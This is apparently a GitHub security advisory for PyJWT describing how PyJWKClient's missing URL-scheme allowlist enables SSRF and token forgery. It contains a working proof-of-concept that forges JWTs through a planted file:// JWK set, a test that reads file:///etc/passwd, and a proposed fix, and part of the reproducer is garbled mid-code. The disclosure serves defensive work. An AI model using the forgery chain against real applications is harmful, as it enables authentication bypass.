GitHub Advisoryadvisory · PyPI

GHSA-993g-76c3-p5m4 PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes

MEDIUM Published 2026-06-15 Modified 2026-07-31 Official page ↗
Aliases
CVE-2026-48522
Ecosystem
PyPI
Packages
PyJWT
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
Weaknesses
CWE-441, CWE-918
Reviewed
2026-06-15

Affected packages

• PyPI PyJWT: >= 2.0.0, < 2.13.0 → fixed in 2.13.0

Description

> [!NOTE] > The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation. Summary PyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib's default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, `FileHandler`, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can: 1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) — the file's contents are passed to `json.load`. 2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface). 3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts. Affected versions Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction. Reproducer (full attack chain — verified empirically) ```python import jwt as pyjwt from jwt import PyJWKClient from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import json, base64, time Attacker generates keypair (no relation to real IdP) key = rsa.generate_private_key(public_exponent=65537, key_size=2048) pub_n = key.public_key().public_numbers().n def b64u(n): bl = (n.bit_length() + 7) // 8 return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode() Attacker writes JWK Set containing their public key to /tmp jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256", "n":b64u(pub_n),"e":"AQAB"}]} with open("/tmp/attacker.json","w") as f: json.dump(jwks, f) Attacker mints token signed with their private key, jku=file:// priv_pem = key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) now = int(time.time()) token = pyjwt.encode( {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600}, priv_pem, algorithm="RS256", headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"}) Vulnerable application pattern: caller derives jku from token header and passes to PyJWKClient without scheme validation header = pyjwt.get_unverified_header(token) client = PyJWKClient(header["jku"]) # None: """Reject the configured URI early if its scheme isn't allowed.""" from urllib.parse import urlparse parsed = urlparse(self.uri) scheme = parsed.scheme.lower() if not scheme: raise PyJWKClientError( f"PyJWKClient URI '{self.uri}' has no scheme; expected one of " f"{self.allowed_schemes!r}") if scheme not in self.allowed_schemes: raise PyJWKClientError( f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes " f"{self.allowed_schemes!r}; refusing to fetch from this URL") ``` Tests to add ```python def test_pyjwkclient_rejects_file_scheme(): with pytest.raises(PyJWKClientError, match="not in allowed_schemes"): PyJWKClient("file:///etc/passwd") def test_pyjwkclient_rejects_ftp_scheme(): with pytest.raises(PyJWKClientError): PyJWKClient("ftp://example.org/keys.json") def test_pyjwkclient_rejects_data_scheme(): with pytest.raises(PyJWKClientError): PyJWKClient('data:application/json,{"keys":[]}') def test_pyjwkclient_caller_can_lock_to_https_only(): with pytest.raises(PyJWKClientError): PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",)) ``` Compatibility • Default `allowed_schemes=("https", "http")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints • Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare) • No changes to urllib fetch logic itself — the fix is a pre-validation gate Class precedent This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5. Prior art (verified 2026-05-06) Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection): • No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling • No existing GitHub issue or PR addressing scheme allowlisting • No silent fix in CHANGELOG through 2.12.1 • 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class Credit Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech). Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

Related

Alias · CVE (1)

  • CVE-2026-48522 PyJWT is a JSON Web Token implementation in Python. vulnerability

Weakness · CWE (2)

  • CWE-441 Unintended Proxy or Intermediary weakness
  • CWE-918 Server-Side Request Forgery weakness

References